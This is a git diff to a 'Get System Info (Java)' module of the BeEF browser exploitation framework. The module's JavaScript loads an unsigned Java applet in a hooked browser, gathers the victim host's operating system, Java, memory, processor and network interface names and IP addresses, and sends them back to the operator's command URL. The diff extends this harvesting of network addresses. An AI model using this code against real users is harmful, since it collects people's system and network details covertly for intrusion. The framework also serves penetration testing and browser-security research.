diff --git a/modules/host/get_system_info/command.js b/modules/host/get_system_info/command.js
index c701cafaa..f017b91b5 100644
--- a/modules/host/get_system_info/command.js
+++ b/modules/host/get_system_info/command.js
@@ -22,21 +22,22 @@ beef.execute(function() {
if (beef.browser.isFF()) {
output = document.getSystemInfo.getInfo();
- if (output) beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"
"));
+ if (output) beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"
"));
+ beef.dom.detachApplet('getSystemInfo');
} else {
function waituntilok() {
try {
output = document.getSystemInfo.getInfo();
- beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"
"));
- $j('#getSystemInfo').detach();
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"
"));
+ beef.dom.detachApplet('getSystemInfo');
return;
} catch (e) {
internal_counter++;
if (internal_counter > 30) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=Timeout after 20 seconds');
- $j('#getSystemInfo').detach();
+ beef.dom.detachApplet('getSystemInfo');
return;
}
setTimeout(function() {waituntilok()},1000);
diff --git a/modules/host/get_system_info/config.yaml b/modules/host/get_system_info/config.yaml
index 5a9a52748..b3136d9c1 100644
--- a/modules/host/get_system_info/config.yaml
+++ b/modules/host/get_system_info/config.yaml
@@ -19,8 +19,8 @@ beef:
enable: true
category: "Host"
name: "Get System Info (Java)"
- description: "Retrieves basic information about the host system (such as the number of processors, amount of memory, screen display modes, operating system details, Java installation details and network interface names) using an unsigned Java applet.
Chrome users will be prompted to run the applet."
- authors: ["bcoles"]
+ description: "Retrieves basic information about the host system, using an unsigned Java Applet:
- - Operating system details
- - Java VM details
- - NIC names and IP
- - Number of processors
- - Amount of memory
- - Screen display modes
"
+ authors: ["bcoles", "antisnatchor"]
target:
working: ["O", "FF", "S", "IE"]
user_notify: ["C"]
diff --git a/modules/host/get_system_info/getSystemInfo.class b/modules/host/get_system_info/getSystemInfo.class
index 028f9a399..448d6565b 100644
Binary files a/modules/host/get_system_info/getSystemInfo.class and b/modules/host/get_system_info/getSystemInfo.class differ
diff --git a/modules/host/get_system_info/getSystemInfo.java b/modules/host/get_system_info/getSystemInfo.java
index 4830eb12a..e6f0f06f4 100644
--- a/modules/host/get_system_info/getSystemInfo.java
+++ b/modules/host/get_system_info/getSystemInfo.java
@@ -105,12 +105,21 @@ public class getSystemInfo extends Applet {
// System.out.println("Host Address: " + InetAddress.getLocalHost().getHostAddress());
result += "Host Address: " + java.net.InetAddress.getLocalHost().getHostAddress()+"\n";
// System.out.println("Network Interfaces:");
- result += "Network Interfaces:\n";
+ result += "Network Interfaces (interface, name, IP):\n";
Enumeration networkInterfaces = NetworkInterface.getNetworkInterfaces();
while (networkInterfaces.hasMoreElements()) {
NetworkInterface networkInterface = (NetworkInterface) networkInterfaces.nextElement();
- //System.out.println("\t"+networkInterface.toString());
- result += "\t"+networkInterface.toString()+"\n";
+ result += networkInterface.getName() + ", ";
+ result += networkInterface.getDisplayName()+ ", ";
+ Enumeration inetAddresses = (networkInterface.getInetAddresses());
+ if(inetAddresses.hasMoreElements()){
+ while (inetAddresses.hasMoreElements()) {
+ InetAddress inetAddress = (InetAddress)inetAddresses.nextElement();
+ result +=inetAddress.getHostAddress() + "\n";
+ }
+ }else{
+ result += "\n"; // in case we can't retrieve the address of some network interfaces
+ }
}
}
catch (Exception exception) {
diff --git a/modules/host/get_system_info/module.rb b/modules/host/get_system_info/module.rb
index aad8ad7aa..f8f8bf28a 100644
--- a/modules/host/get_system_info/module.rb
+++ b/modules/host/get_system_info/module.rb
@@ -24,7 +24,7 @@ class Get_system_info < BeEF::Core::Command
content['result'] = @datastore['system_info'] if not @datastore['system_info'].nil?
content['fail'] = 'No data was returned.' if content.empty?
save content
- BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/getSystemInfo.class');
+ BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/getSystemInfo.class')
end
end